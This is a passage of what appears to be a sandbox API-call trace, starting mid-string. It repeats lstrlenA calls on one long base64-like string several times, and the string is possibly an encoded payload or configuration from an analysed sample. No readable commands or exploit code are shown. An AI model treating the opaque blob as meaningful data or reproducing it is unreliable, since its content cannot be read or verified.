KVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="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